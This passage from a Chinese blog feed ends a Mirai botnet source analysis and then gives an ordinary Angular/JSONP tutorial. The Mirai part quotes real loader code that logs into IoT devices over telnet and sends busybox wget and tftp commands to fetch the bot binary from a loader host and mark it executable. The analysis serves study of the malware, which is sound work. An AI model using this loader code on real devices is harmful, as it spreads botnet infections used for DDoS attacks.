模块</h3><p>在做完了上面这两个模块的内容之后,就进入了bot的主循环,它会主动连接CNC节点并等待CNC节点的指令使用<code>attackparse</code>进行解析。</p><p>在这里有个小trick,在前面是设定了CNC节点的IP地址和端口<code>FAKE_CNC_ADDR</code>和<code>FAKE_CNC_PORT</code>,但是实际在连接中,这是一个虚假的IP地址和端口,用于迷惑对这个代码进行debug的开发者。真正的IP和端口是在<code>table.c</code>中硬编码写入的<code>cnc.changeme.com</code>用<code>8.8.8.8</code>做DNS解析之后得到的,然后在连接前使用<code>resolve_func()</code>函数对地址进行了修改写入了真的IP地址。</p><p>在建立连接后,<code>bot</code>根据接收到的指令(目标数,IP地址,掩码),对目标进行攻击。</p><p>在<code>attack_app.c</code>、<code>attack_gre.c</code>、<code>attack_tcp.c</code>和<code>attack_udp.c</code>中分别定义了四大类的攻击类型,然后使用函数指针模拟多态地进行调用。其中攻击的方式大多是通过socket建立大量的SYN包,然后发给目标地址。这里具体就不提。</p><h2 id="Loader-部分"><a href="#Loader-部分" class="headerlink" title="Loader 部分"></a>Loader 部分</h2><p>loader代码的功能是向被感染设备上传相应架构的payload文件。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">headers/ 头文件目录</span><br><span class="line">binary.c 将bins目录下的文件读取到内存中,以echo方式上传payload文件时用到</span><br><span class="line">connection.c 判断loader和感染设备telnet交互过程中的状态信息</span><br><span class="line">main.c loader主函数</span><br><span class="line">server.c 向感染设备发起telnet交互,上传payload文件</span><br><span class="line">telnet_info.c 解析约定格式的telnet信息</span><br><span class="line">util.c 一些常用的公共函数</span><br></pre></td></tr></table></figure><p>Loader中存放了针对各个平台编译后的可执行文件,其功能是用于加载Mirai的bot程序。在启动之初就会判断这个文件夹是否存在,然后启用了一个epoll架构的简单服务器,一旦有新的连接就启动一个新的worker线程。</p><p>在worker线程中,维护了一个状态机,即列出了几种状态,然后在状态之间转换。大概是为了应付一些随时要求验证的需求。</p><p>首先woker线程使用scanner提供的IP地址和账户密码信息登录IOT设备:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">case</span> TELNET_USER_PROMPT:</span><br><span class="line"> consumed = connection_consume_login_prompt(conn);</span><br><span class="line"> <span class="keyword">if</span> (consumed)</span><br><span class="line"> {</span><br><span class="line"> util_sockprintf(conn->fd, <span class="string">"%s"</span>, conn->info.user);</span><br><span class="line"> <span class="built_in">strcpy</span>(conn->output_buffer.data, <span class="string">"\r\n"</span>);</span><br><span class="line"> conn->output_buffer.deadline = time(<span class="literal">NULL</span>) + <span class="number">1</span>;</span><br><span class="line"> conn->state_telnet = TELNET_PASS_PROMPT;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"><span class="keyword">case</span> TELNET_PASS_PROMPT:</span><br><span class="line"> consumed = connection_consume_password_prompt(conn);</span><br><span class="line"> <span class="keyword">if</span> (consumed)</span><br><span class="line"> {</span><br><span class="line"> util_sockprintf(conn->fd, <span class="string">"%s"</span>, conn->info.pass);</span><br><span class="line"> <span class="built_in">strcpy</span>(conn->output_buffer.data, <span class="string">"\r\n"</span>);</span><br><span class="line"> conn->output_buffer.deadline = time(<span class="literal">NULL</span>) + <span class="number">1</span>;</span><br><span class="line"> conn->state_telnet = TELNET_WAITPASS_PROMPT; <span class="comment">// At the very least it will print SOMETHING</span></span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">break</span>;</span><br></pre></td></tr></table></figure><p>首先会执行<code>/bin/busybox ps</code>和<code>/bin/busybox cat /proc/mounts</code>命令查看设备挂载的分区。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"> <span class="keyword">case</span> TELNET_VERIFY_LOGIN:</span><br><span class="line"> consumed = connection_consume_verify_login(conn);</span><br><span class="line"> <span class="keyword">if</span> (consumed)</span><br><span class="line"> {</span><br><span class="line"> ATOMIC_INC(&wrker->srv->total_logins);</span><br><span class="line"><span class="meta">#<span class="keyword">ifdef</span> DEBUG</span></span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"[FD%d] Succesfully logged in\n"</span>, ev->data.fd);</span><br><span class="line"><span class="meta">#<span class="keyword">endif</span></span></span><br><span class="line"> util_sockprintf(conn->fd, <span class="string">"/bin/busybox ps; "</span> TOKEN_QUERY <span class="string">"\r\n"</span>);</span><br><span class="line"> conn->state_telnet = TELNET_PARSE_PS;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> <span class="keyword">case</span> TELNET_PARSE_PS:</span><br><span class="line"> <span class="keyword">if</span> ((consumed = connection_consume_psoutput(conn)) > <span class="number">0</span>)</span><br><span class="line"> {</span><br><span class="line"> util_sockprintf(conn->fd, <span class="string">"/bin/busybox cat /proc/mounts; "</span> TOKEN_QUERY <span class="string">"\r\n"</span>);</span><br><span class="line"> conn->state_telnet = TELNET_PARSE_MOUNTS;</span><br><span class="line"> }</span><br></pre></td></tr></table></figure><p>然后进行创建文件、使用<code>chmod</code>命令调整文件权限至777,之后使用<code>cpuinfo</code>命令判断设备运行平台,再使用<code>wget</code>、<code>tftp</code>或<code>echo</code>三种方式将对应版本的恶意可执行文件上传至IOT设备。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><span class="line"> <span class="keyword">switch</span> (conn->info.upload_method)</span><br><span class="line"> {</span><br><span class="line"> <span class="keyword">case</span> UPLOAD_ECHO:</span><br><span class="line"> conn->state_telnet = TELNET_UPLOAD_ECHO;</span><br><span class="line"> conn->timeout = <span class="number">30</span>;</span><br><span class="line"> util_sockprintf(conn->fd, <span class="string">"/bin/busybox cp "</span>FN_BINARY <span class="string">" "</span> FN_DROPPER <span class="string">"; > "</span> FN_DROPPER <span class="string">"; /bin/busybox chmod 777 "</span> FN_DROPPER <span class="string">"; "</span> TOKEN_QUERY <span class="string">"\r\n"</span>);</span><br><span class="line"><span class="meta">#<span class="keyword">ifdef</span> DEBUG</span></span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"echo\n"</span>);</span><br><span class="line"><span class="meta">#<span class="keyword">endif</span></span></span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> <span class="keyword">case</span> UPLOAD_WGET:</span><br><span class="line"> conn->state_telnet = TELNET_UPLOAD_WGET;</span><br><span class="line"> conn->timeout = <span class="number">120</span>;</span><br><span class="line"> util_sockprintf(conn->fd, <span class="string">"/bin/busybox wget http://%s:%d/bins/%s.%s -O - > "</span>FN_BINARY <span class="string">"; /bin/busybox chmod 777 "</span> FN_BINARY <span class="string">"; "</span> TOKEN_QUERY <span class="string">"\r\n"</span>,</span><br><span class="line"> wrker->srv->wget_host_ip, wrker->srv->wget_host_port, <span class="string">"mirai"</span>, conn->info.arch);</span><br><span class="line"><span class="meta">#<span class="keyword">ifdef</span> DEBUG</span></span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"wget\n"</span>);</span><br><span class="line"><span class="meta">#<span class="keyword">endif</span></span></span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> <span class="keyword">case</span> UPLOAD_TFTP:</span><br><span class="line"> conn->state_telnet = TELNET_UPLOAD_TFTP;</span><br><span class="line"> conn->timeout = <span class="number">120</span>;</span><br><span class="line"> util_sockprintf(conn->fd, <span class="string">"/bin/busybox tftp -g -l %s -r %s.%s %s; /bin/busybox chmod 777 "</span> FN_BINARY <span class="string">"; "</span> TOKEN_QUERY <span class="string">"\r\n"</span>,</span><br><span class="line"> FN_BINARY, <span class="string">"mirai"</span>, conn->info.arch, wrker->srv->tftp_host_ip);</span><br><span class="line"><span class="meta">#<span class="keyword">ifdef</span> DEBUG</span></span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"tftp\n"</span>);</span><br><span class="line"><span class="meta">#<span class="keyword">endif</span></span></span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> }</span><br></pre></td></tr></table></figure><p>在完成装载之后,还会根据下载的类型,运行相应的程序,到了这里,整个loader的工作才是做完了。</p><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>花了蛮长时间,实际也是匆匆扫过。所以有些地方可以不甚仔细。</p><p>Mirai的程序,感觉与之前看的工业的代码似乎不完全一样,而且觉得有些地方仍有改进的余地。我感觉这是作者故意留了代码变异的空间,亦或者是根本没有完成。(代码中的DEBUG宏数量有点太多了。)</p><p>Mirai是瞄准IoT 设备的弱口令问题,因为很多人并不很在意物联网设备的安全问题,甚至会直接使用初始的用户名与密码,这样会造成物联网设备的大量沦陷。通过巨量的僵尸网络,恶意代码控制者可以进行DDos攻击以瘫痪网络服务器。</p><p>而随着物联网设备的应用拓宽,恐怕问题并不止于网络的DDos,更多的关于隐私或者其他的方面的问题会出现其中。我想这才是应该担忧的问题。</p><h2 id="参考资料"><a href="#参考资料" class="headerlink" title="参考资料"></a>参考资料</h2><ol><li><a href="https://paper.seebug.org/142/#21-payload">https://paper.seebug.org/142/#21-payload</a></li><li><a href="https://www.jianshu.com/p/9a460a3723f8">https://www.jianshu.com/p/9a460a3723f8</a></li><li><a href="http://blog.nsfocus.net/mirai-source-analysis-report/">http://blog.nsfocus.net/mirai-source-analysis-report/</a></li></ol>]]></content>
<summary type="html"><p>代码可以从<a href="https://github.com/jgamblin/Mirai-Source-Code"><code>https://github.com/jgamblin/Mirai-Source-Code </code></a>下载。</p>
<p>一些基本的名称是这样的。攻击者将部署一个<code>Commad &amp; Control</code>CNC 的节点和一个<code>loader</code> 的服务器,然后将感染的设备称为<code>bot</code>,并在其中运行程序<code>payload</code>。</p></summary>
<category term="信息安全" scheme="http://blog.ciaran.cn/categories/%E4%BF%A1%E6%81%AF%E5%AE%89%E5%85%A8/"/>
<category term="Mirai" scheme="http://blog.ciaran.cn/tags/Mirai/"/>
<category term="scanner" scheme="http://blog.ciaran.cn/tags/scanner/"/>
<category term="source code" scheme="http://blog.ciaran.cn/tags/source-code/"/>
</entry>
<entry>
<title>Angular跨域访问豆瓣API</title>
<link href="http://blog.ciaran.cn/2018/09/28/Angular%E8%B7%A8%E5%9F%9F%E8%AE%BF%E9%97%AE%E8%B1%86%E7%93%A3API/"/>
<id>http://blog.ciaran.cn/2018/09/28/Angular%E8%B7%A8%E5%9F%9F%E8%AE%BF%E9%97%AE%E8%B1%86%E7%93%A3API/</id>
<published>2018-09-27T17:07:25.000Z</published>
<updated>2024-01-16T06:38:43.090Z</updated>
<content type="html"><![CDATA[<p>在项目管理课的大作业中,负责前端部分代码。前端所使用的框架为Angular,而我们打算在Angular中使用豆瓣的API获取特定ISBN的书籍的信息。结果就很愉快地遭遇了跨域访问的问题,折腾了比较长的时间。</p><p>我们所希望访问的API是<code>https://api.douban.com/v2/book/isbn/${this.ISBN}</code>。可以见到的是直接访问这个API后得到的数据没有什么问题,但是当我们在网页应用中对这个API进行访问时,恐怕就没有那么轻松了。</p><p>顺带一提,关于这个API接口的官网<code>豆瓣开发者</code>貌似已经没法访问了的样子,但是幸而有谷歌的网络快照能看到其中的内容。</p><h2 id="Angular-HTTP-Client"><a href="#Angular-HTTP-Client" class="headerlink" title="Angular HTTP Client"></a>Angular HTTP Client</h2><p>作为一个在本次项目中才真正开始应用<code>Angular</code>的人,最开始是按照官网的指引直接使用 <code>HttpClient</code>。</p><figure class="highlight typescript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="title function_">constructor</span>(<span class="params"><span class="keyword">private</span> http: HttpClient</span>) { }</span><br><span class="line"><span class="title function_">func</span>(<span class="params"></span>) {</span><br><span class="line"> <span class="variable language_">this</span>.<span class="property">http</span>.<span class="title function_">get</span>(<span class="string">"https://api.douban.com/v2/book/isbn/7101003044"</span>)</span><br><span class="line"> .<span class="title function_">subscribe</span>(<span class="function"><span class="params">res</span> =></span> <span class="variable language_">console</span>.<span class="title function_">log</span>(res));</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>然后就遭遇了下面这个报错:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Failed to load https://api.douban.com/v2/book/isbn/7101003044: No 'Access-Control-Allow-Origin' header is present on the requested resource. Origin 'http://localhost:4200' is therefore not allowed access.</span><br></pre></td></tr></table></figure><h3 id="跨域简介"><a href="#跨域简介" class="headerlink" title="跨域简介"></a>跨域简介</h3><p>我们首先来介绍一下跨域的概念:</p><p>首先说同源策略。同源策略是由网景公司引入浏览器的,目前基本所有所有浏览器都实行这个政策。这个策略是为了防范两个网页之间的cookies等不能混用,以防被恶意窃取信息。这是一个用于隔离潜在恶意文件的重要安全机制。在现在,受限制的行为包括:</p><ol><li>Cookie、LocalStorage 和 IndexDB 无法读取。</li><li>DOM 无法获得。</li><li>AJAX 请求不能发送。</li></ol><p>在浏览器中,非同源的页面是没法完成上面的行为的。如果两个页面的协议,端口(如果有指定)和域名都相同,则两个页面具有相同的源。</p><p>在我们这个情境下,我希望在我的主机给 <code>api.douban.com</code> 发送一个AJAX请求,这明显是跨域的。所以就出现了上面的报错。</p><p>Angular 解决跨域请求访问的方法包括以下几种:</p><ul><li>跨域资源共享(Cross-Origin Resource Sharing, CORS)</li><li>跨文档消息传递(Cross-document messaging)</li><li>JSONP</li><li>WebSocket</li><li>Angular代理</li></ul><p>CORS是目前来说推荐使用而且也用得最多的一种方式,是 HTML5 规范定义的如何跨域访问资源。然而显然它需要服务器做出一定的配置以允许跨站请求,无奈只得作罢。</p><p>对于跨文档消息传递,需要我们传递消息之后,页面也有消息返回才能接收到信息,所以也被刨去。WebSocket也是因为同样的理由被刨去。</p><h2 id="Angular-代理"><a href="#Angular-代理" class="headerlink" title="Angular 代理"></a>Angular 代理</h2><p>在没有服务器端的配合情况下,大概也只能通过Angular-cli代理的方式来来进行访问。这是使用了<code>webpack</code>的devServer的proxy,因此只能在Angular的开发环境下使用。</p><p>proxy所做的事情是简单地拿到浏览器的请求,然后把它交给我们所设置的API服务器。</p><p><img src="/images/ngdevserver-proxy.png" alt="一张来自 https://juristr.com/blog/2016/11/configure-proxy-api-angular-cli/ 的图片"></p><p>我们可以在<code>package.json</code>的同一目录下新建一个文件<code>proxy.conf.json</code>:</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="punctuation">{</span></span><br><span class="line"> <span class="attr">"/api"</span><span class="punctuation">:</span> <span class="punctuation">{</span></span><br><span class="line"> <span class="attr">"target"</span><span class="punctuation">:</span> <span class="string">"http://api.douban.com"</span><span class="punctuation">,</span></span><br><span class="line"> <span class="attr">"secure"</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">false</span></span></span><br><span class="line"> <span class="punctuation">}</span><span class="punctuation">,</span></span><br><span class="line"> <span class="attr">"changeOrigin"</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">true</span></span></span><br><span class="line"><span class="punctuation">}</span></span><br></pre></td></tr></table></figure><p>然后我们可以修改<code>angular.json</code>添加一个<code>proxyConfig</code>字段,或者使用一个</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">...</span><br><span class="line"><span class="attr">"architect"</span><span class="punctuation">:</span> <span class="punctuation">{</span></span><br><span class="line"> ...</span><br><span class="line"> <span class="attr">"serve"</span><span class="punctuation">:</span> <span class="punctuation">{</span></span><br><span class="line"> <span class="attr">"builder"</span><span class="punctuation">:</span> <span class="string">"@angular-devkit/build-angular:dev-server"</span><span class="punctuation">,</span></span><br><span class="line"> <span class="attr">"options"</span><span class="punctuation">:</span> <span class="punctuation">{</span></span><br><span class="line"> <span class="attr">"browserTarget"</span><span class="punctuation">:</span> <span class="string">"your-application-name:build"</span><span class="punctuation">,</span></span><br><span class="line"> <span class="attr">"proxyConfig"</span><span class="punctuation">:</span> <span class="string">"proxy.conf.json"</span></span><br><span class="line"> <span class="punctuation">}</span><span class="punctuation">,</span></span><br><span class="line">...</span><br></pre></td></tr></table></figure><p>或者我们可以直接通过<code>ng serve --proxy ./proxy.conf.json</code>来启动项目。为了使用这个,我们可以在<code>package.json</code>中对<code>npm start</code>的命令做出修改。</p><p>但是这样的方式只适用于dev环境而不是production环境,偏偏我还希望在prod环境下部署使用(<code>vendor.js</code>太大了)。没办法最后我只能选择JSONP协议。</p><h2 id="Angular-JSONP"><a href="#Angular-JSONP" class="headerlink" title="Angular JSONP"></a>Angular JSONP</h2><p>在前面所说的常用方法CORS中,还有一个限制是,对于一些适配IE或更早期浏览器的网址,并没有设置CORS的方式。对于这些古老的网站,它们给出的解决方案就是JSONP协议。</p><p>JSONP是一种跨域数据交互的协议。它的主要想法是,我们有使用其它域的图片、JS、CSS文件的时候,这些并没有构成跨域请求,因为这个行为并非Ajax是没有受到限制。那么我可以通过一些标签的<code>src</code>属性来获得相应的内容就好了。</p><p>我们假设接到的数据是JSON格式的。然后我们可以在接到的数据外包一层像是函数调用的东西,让整个内容看起来是一个<code>Javascript</code>的脚本,这样就能获得正确的JSON数据了。</p><p>豆瓣的API是支持JSONP协议的,它们的关键字是callback。可以尝试访问<code>https://api.douban.com/v2/book/isbn/7544244261?callback=somefunc</code>:</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">;<span class="title function_">somefunc</span>({<span class="string">"rating"</span>:{<span class="string">"max"</span>:<span class="number">10</span>,<span class="string">"numRaters"</span>:<span class="number">1466</span>,<span class="string">"average"</span>:<span class="string">"8.8"</span>,<span class="string">"min"</span>:<span class="number">0</span>},<span class="string">"subtitle"</span>:<span class="string">""</span>,<span class="string">"author"</span>:[<span class="string">"[波]显克维奇"</span>],<span class="string">"pubdate"</span>:<span class="string">"2009-5"</span>,<span class="string">"tags"</span>:[{<span class="string">"count"</span>:<span class="number">816</span>,<span class="string">"name"</span>:<span class="string">"历史"</span>,<span class="string">"title"</span>:<span class="string">"历史"</span>},{<span class="string">"count"</span>:<span class="number">693</span>,<span class="string">"name"</span>:<span class="string">"宗教"</span>,<span class="string">"title"</span>:<span class="string">"宗教"</span>},{<span class="string">"count"</span>:<span class="number">504</span>,<span class="string">"name"</span>:<span class="string">"小说"</span>,<span class="string">"title"</span>:<span class="string">"小说"</span>},{<span class="string">"count"</span>:<span class="number">416</span>,<span class="string">"name"</span>:<span class="string">"外国文学"</span>,<span class="string">"title"</span>:<span class="string">"外国文学"</span>},{<span class="string">"count"</span>:<span class="number">338</span>,<span class="string">"name"</span>:<span class="string">"显克维支"</span>,<span class="string">"title"</span>:<span class="string">"显克维支"</span>},{<span class="string">"count"</span>:<span class="number">330</span>,<span class="string">"name"</span>:<span class="string">"基督教"</span>,<span class="string">"title"</span>:<span class="string">"基督教"</span>},{<span class="string">"count"</span>:<span class="number">234</span>,<span class="string">"name"</span>:<span class="string">"波兰"</span>,<span class="string">"title"</span>:<span class="string">"波兰"</span>},{<span class="string">"count"</span>:<span class="number">216</span>,<span class="string">"name"</span>:<span class="string">"波兰文学"</span>,<span class="string">"title"</span>:<span class="string">"波兰文学"</span>}],<span class="string">"origin_title"</span>:<span class="string">"Quo Vadis"</span>,<span class="string">"image"</span>:<span class="string">"https://img3.doubanio.com\/view\/subject\/m\/public\/s3942663.jpg"</span>,<span class="string">"binding"</span>:<span class="string">"平装"</span>,<span class="string">"translator"</span>:[<span class="string">"林洪亮"</span>],<span class="string">"catalog"</span>:<span class="string">"`"</span>,<span class="string">"pages"</span>:<span class="string">"467"</span>,<span class="string">"images"</span>:{<span class="string">"small"</span>:<span class="string">"https://img3.doubanio.com\/view\/subject\/s\/public\/s3942663.jpg"</span>,<span class="string">"large"</span>:<span class="string">"https://img3.doubanio.com\/view\/subject\/l\/public\/s3942663.jpg"</span>,<span class="string">"medium"</span>:<span class="string">"https://img3.doubanio.com\/view\/subject\/m\/public\/s3942663.jpg"</span>},<span class="string">"alt"</span>:<span class="string">"https:\/\/book.douban.com\/subject\/3733083\/"</span>,<span class="string">"id"</span>:<span class="string">"3733083"</span>,<span class="string">"publisher"</span>:<span class="string">"南海出版公司"</span>,<span class="string">"isbn10"</span>:<span class="string">"7544244261"</span>,<span class="string">"isbn13"</span>:<span class="string">"9787544244268"</span>,<span class="string">"title"</span>:<span class="string">"你往何处去"</span>,<span class="string">"url"</span>:<span class="string">"https:\/\/api.douban.com\/v2\/book\/3733083"</span>,<span class="string">"alt_title"</span>:<span class="string">"Quo Vadis"</span>,<span class="string">"author_intro"</span>:<span class="string">"显克维奇(1846—1916)1905年诺贝尔文学奖得主,波兰著名作家,在全世界享有巨大的声誉,其代表作《你往何处去》、《十字军骑士》等作品已被译成40多种语言。"</span>,<span class="string">"summary"</span>:<span class="string">"《你往何处去》是闪耀于世界文学长廊的璀璨明珠、历史小说领域的巅峰杰作,作者以史家的视角、文学的手法为我们再现了基督教兴起与罗马帝国瞬间衰落的历史真相。该书在20世纪末的末世悲凉气息中首次出版,甫一问世便奇迹般受到读者热烈欢迎,迅速被翻译成英、德、俄、法等40多种文字。《你往何处去》将一对深情男女置于罗马帝国对基督徒残酷镇压的大背景之中,用小说的笔法入木三分地刻画出保罗、彼得、皇帝尼禄等众多历史人物,以史笔栩栩如生地展现基督教在兴起时期受到世俗力量血腥镇压的历史真相。罗马大火与使徒殉道,既将小说推向了高潮,又深邃地揭示了罗马帝国衰落的历史密码……"</span>,<span class="string">"series"</span>:{<span class="string">"id"</span>:<span class="string">"1054"</span>,<span class="string">"title"</span>:<span class="string">"新经典文库·桂冠文丛"</span>},<span class="string">"price"</span>:<span class="string">"29.80元"</span>});</span><br></pre></td></tr></table></figure><p>可以看到的是,在返回的响应中,原本的JSON数据被用一个<code>somefunc</code>包裹了起来。然后我们只需要实现定义一个<code>somefunc</code>就能处理这个JSON数据了。</p><p>之后我又幸运地发现了Angular是有JSONP的支持的。我们可以这样使用:</p><figure class="highlight typescript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">func (<span class="attr">isbn</span>: <span class="built_in">string</span>) {</span><br><span class="line"> <span class="variable language_">this</span>.<span class="property">http</span>.<span class="title function_">jsonp</span>(<span class="string">`https://api.douban.com/v2/book/isbn/<span class="subst">${isbn}</span>`</span>, <span class="string">'callback'</span>)</span><br><span class="line"> .<span class="title function_">subscribe</span>(<span class="function"><span class="params">res</span> =></span> <span class="variable language_">console</span>.<span class="title function_">log</span>(res));</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>Angular的<code>http.jsonp</code>会自动生成一个函数名,然后通过上面所说的方式来获得JSON数据,然后</p><p>然而在实际使用的时候,我们会发现这样恐怕还是不行。这个问题还是只出在豆瓣的API上,对于其它支持JSONP的API应该都能使用类似上面的代码。</p><p>出错的原因是Angular生成的函数名是类似于<code>__ng_jsonp__.__req0.finished</code>这样的格式。然后我们可以去访问一下豆瓣的API <code>https://api.douban.com/v2/book/isbn/7544244261?callback=__ng_jsonp__.__req0.finished</code>。我们会发现,返回的结果中并没有<code>callback</code>函数的内容,看起来豆瓣这里并没有对特殊字符做处理,这导致了Angular JSONP请求的失效。</p><p>一通搜索,但是没有找到改动这个JSONP请求函数名的方法。无奈只好自己实现一个JSONP的服务了。</p><h2 id="自己实现的JSONP"><a href="#自己实现的JSONP" class="headerlink" title="自己实现的JSONP"></a>自己实现的JSONP</h2><p>这个基本上原理就是上面所说的原理,这里只是贴出代码实现了。</p><p>首先是生成一个callback的函数名,并构造url:</p><figure class="highlight typescript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> hash_str = <span class="title class_">Md5</span>.<span class="title function_">init</span>(isbn);</span><br><span class="line"><span class="keyword">const</span> callbackName = <span class="string">`jsonp_<span class="subst">${hash_str}</span>`</span>;</span><br><span class="line"><span class="keyword">const</span> url = <span class="string">`<span class="subst">${<span class="variable language_">this</span>.apiRoot}</span>/isbn/<span class="subst">${isbn}</span>?callback=<span class="subst">${callbackName}</span>`</span>;</span><br></pre></td></tr></table></figure><p>这里的<code>apiRoot</code>是<code>https://api.douban.com/v2/book</code>。然后构造的方式就是<code>jsonp_<isbn的md5值></code>,当然这个东西完全可以随意。</p><p>然后定义这个函数,我们要怎么处理接收到的数据。因为我写成了<code>Promise</code>的形式,所以就传给<code>resolve</code>变量就好。</p><figure class="highlight typescript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="variable language_">window</span>[callbackName] = <span class="function"><span class="params">res</span> =></span> {</span><br><span class="line"> <span class="title function_">resolve</span>(res);</span><br><span class="line">};</span><br></pre></td></tr></table></figure><p>然后构建<code>script</code>标签,并挂到document里。</p><figure class="highlight typescript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> scriptElem = <span class="variable language_">window</span>.<span class="property">document</span>.<span class="title function_">createElement</span>(<span class="string">'script'</span>);</span><br><span class="line">scriptElem.<span class="property">id</span> = callbackName;</span><br><span class="line">scriptElem.<span class="property">src</span> = url;</span><br><span class="line">scriptElem.<span class="property">type</span> = <span class="string">'text/javascript'</span>;</span><br><span class="line"><span class="variable language_">window</span>.<span class="property">document</span>.<span class="property">body</span>.<span class="title function_">appendChild</span>(scriptElem);</span><br></pre></td></tr></table></figure><p>做一个错误处理(我们这里会出现的错误其实就是<code>isbn</code>不正确的时候会有404啦)</p><figure class="highlight typescript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">scriptElem.<span class="property">onerror</span> = <span class="function">() =></span> {</span><br><span class="line"> <span class="title function_">reject</span>(<span class="keyword">new</span> <span class="title class_">Error</span>(<span class="string">`failed to get <span class="subst">${url}</span>!`</span>));</span><br><span class="line"> <span class="title function_">clearFunction</span>();</span><br><span class="line"> <span class="keyword">if</span> (timeId) { <span class="built_in">clearTimeout</span>(timeId); }</span><br><span class="line">};</span><br></pre></td></tr></table></figure><p>当然我们还可以做得更好,比如在请求成功或失败之后都移除这个标签,并且通过<code>delete window[callbackName]</code>来删除我们定义的callback之类的。</p><p>至此这个问题总算是最后解决了,还是非常曲折的。</p><p>完整的代码可以在<a href="https://gist.github.com/ciaranchen/838b68084b909c01de5241ec7a776b7a">这里</a>看到。</p>]]></content>
<summary type="html"><p>在项目管理课的大作业中,负责前端部分代码。前端所使用的框架为Angular,而我们打算在Angular中使用豆瓣的API获取特定ISBN的书籍的信息。结果就很愉快地遭遇了跨域访问的问题,折腾了比较长的时间。</p>
<p>我们所希望访问的API是<code>https://</summary>
<category term="前端" scheme="http://blog.ciaran.cn/categories/%E5%89%8D%E7%AB%AF/"/>
<category term="Angular" scheme="http://blog.ciaran.cn/tags/Angular/"/>
<category term="typescript" scheme="http://blog.ciaran.cn/tags/typescript/"/>
<category term="CORS" scheme="http://blog.ciaran.cn/tags/CORS/"/>
</entry>
<entry>
<title>ipython安装特定版本kernel</title>
<link href="http://blog.ciaran.cn/2018/09/16/ipython%E5%AE%89%E8%A3%85%E7%89%B9%E5%AE%9A%E7%89%88%E6%9C%ACkernel/"/>
<id>http://blog.ciaran.cn/2018/09/16/ipython%E5%AE%89%E8%A3%85%E7%89%B9%E5%AE%9A%E7%89%88%E6%9C%ACkernel/</id>
